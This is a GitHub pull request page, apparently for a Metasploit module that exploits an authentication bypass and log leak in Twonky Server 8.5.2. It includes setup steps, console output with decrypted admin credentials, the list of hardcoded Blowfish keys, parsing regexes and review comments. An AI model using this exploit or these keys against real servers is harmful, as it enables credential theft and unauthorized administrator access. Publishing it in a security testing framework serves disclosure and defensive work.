Skip to content

Conversation

@remmons-r7
Copy link
Contributor

This module leverages an authentication bypass in Twonky Server 8.5.2. By exploiting an authorization flaw to access a privileged web API endpoint and leak application logs, encrypted administrator credentials are leaked (CVE-2025-13315). The exploit will then decrypt these credentials using hardcoded keys (CVE-2025-13316) and login as the administrator. Expected module output is a username and plain text password for the administrator account.

Testing

To set up a test environment:

  1. Download a vulnerable 8.5.2 build of Twonky Server here and follow the installation instructions.
  2. Go to Settings->Security->Admin account and create an administrator user. The application should prompt for basic authentication after.
  3. Restart the server. The credential values are written to logs on startup, so this is a prerequisite for exploitation.
  4. Follow the verification steps below.

Verification Steps

  1. Start msfconsole
  2. use auxiliary/gather/twonky_authbypass_logleak
  3. set RHOSTS <TARGET_IP_ADDRESS>
  4. set RPORT <TARGET_PORT>
  5. run

Example Usage

msf auxiliary(gather/twonky_authbypass_logleak) > show options 

Module options (auxiliary/gather/twonky_authbypass_logleak):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      9000             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI path to Twonky Server
   VHOST                       no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf auxiliary(gather/twonky_authbypass_logleak) > set RHOSTS 192.168.181.129
RHOSTS => 192.168.181.129
msf auxiliary(gather/twonky_authbypass_logleak) > run
[*] Running module against 192.168.181.129
[*] Confirming the target is vulnerable
[+] The target is Twonky Server v8.5.2
[*] Attempting to leak the administrator username and encrypted password
[+] The target returned the administrator username: admin
[+] The target returned the encrypted password and key index: 14ee76270058c6e3c9f8cecaaebed4fc5206a1d2066d4f78, 7
[*] Decrypting password using key: jwEkNvuwYCjsDzf5
[+] Credentials decrypted: USER=admin PASS=R7Password123!!!
[*] Auxiliary module execution completed
msf auxiliary(gather/twonky_authbypass_logleak) >

I'll privately share a capture of the module running with a member of the Metasploit team. Thank you!

refs: references
)

store_loot('Twonky Server Credentials', 'text/plain', datastore['RHOST'], "Username: \"#{username}\" Password: \"#{password}\"")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The credentials should also be stored as creds using the store_valid_credential API.

Comment on lines +125 to +138
static_keys = [
'E8ctd4jZwMbaV587',
'TGFWfWuW3cw28trN',
'pgqYY2g9atVpTzjY',
'KX7q4gmQvWtA8878',
'VJjh7ujyT8R5bR39',
'ZMWkaLp9bKyV6tXv',
'KMLvvq6my7uKkpxf',
'jwEkNvuwYCjsDzf5',
'FukE5DhdsbCjuKay',
'SpKNj6qYQGjuGMdd',
'qLyXuAHPTF2cPGWj',
'rKz7NBhM3vYg85mg'
]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Rather than define the keys every time a password is decrypted, this could be defined once in a method:

    def static_keys
      [
        'E8ctd4jZwMbaV587',
        'TGFWfWuW3cw28trN',
        'pgqYY2g9atVpTzjY',
        'KX7q4gmQvWtA8878',
        'VJjh7ujyT8R5bR39',
        'ZMWkaLp9bKyV6tXv',
        'KMLvvq6my7uKkpxf',
        'jwEkNvuwYCjsDzf5',
        'FukE5DhdsbCjuKay',
        'SpKNj6qYQGjuGMdd',
        'qLyXuAHPTF2cPGWj',
        'rKz7NBhM3vYg85mg'
      ]
    end

Although it makes no difference when the decryption method is called only once.

pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/
result = res.body.scan(pattern).last

# If the log has been cleared since the last password change or the server hasn't restarted since setup
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like useful context for the operator.

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf auxiliary(gather/twonky_authbypass_logleak) > run verbose=true
[*] Running module against 10.5.132.148
[*] Confirming the target is vulnerable
[+] The target is Twonky Server v8.5.2
[*] Attempting to leak the administrator username and encrypted password
[+] The target returned the administrator username: root1
[+] The target returned the encrypted password and key index: f09c824231ae5771fc2100f73fe35da0, 9
[*] Decrypting password using key: SpKNj6qYQGjuGMdd
[+] Credentials decrypted: USER=root1 PASS=supersecret12
[*] Auxiliary module execution completed

fail_with(Failure::Unknown, 'Connection failed - unable to get log API response') unless res

# Grab the most recent (last) administrator username value from the logs
pattern = /accessuser\s*=\s*(\S+)\n/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The newline characters was causing some issues for me, not sure if it's my skill issue or actual issue

Suggested change
pattern = /accessuser\s*=\s*(\S+)\n/
pattern = /accessuser\s*=\s*(\S+)/


# Grab the most recent (last) password value from the logs to decrypt
# "||" + hex number (key index) + hex Blowfish ECB ciphertext
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same here

Suggested change
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants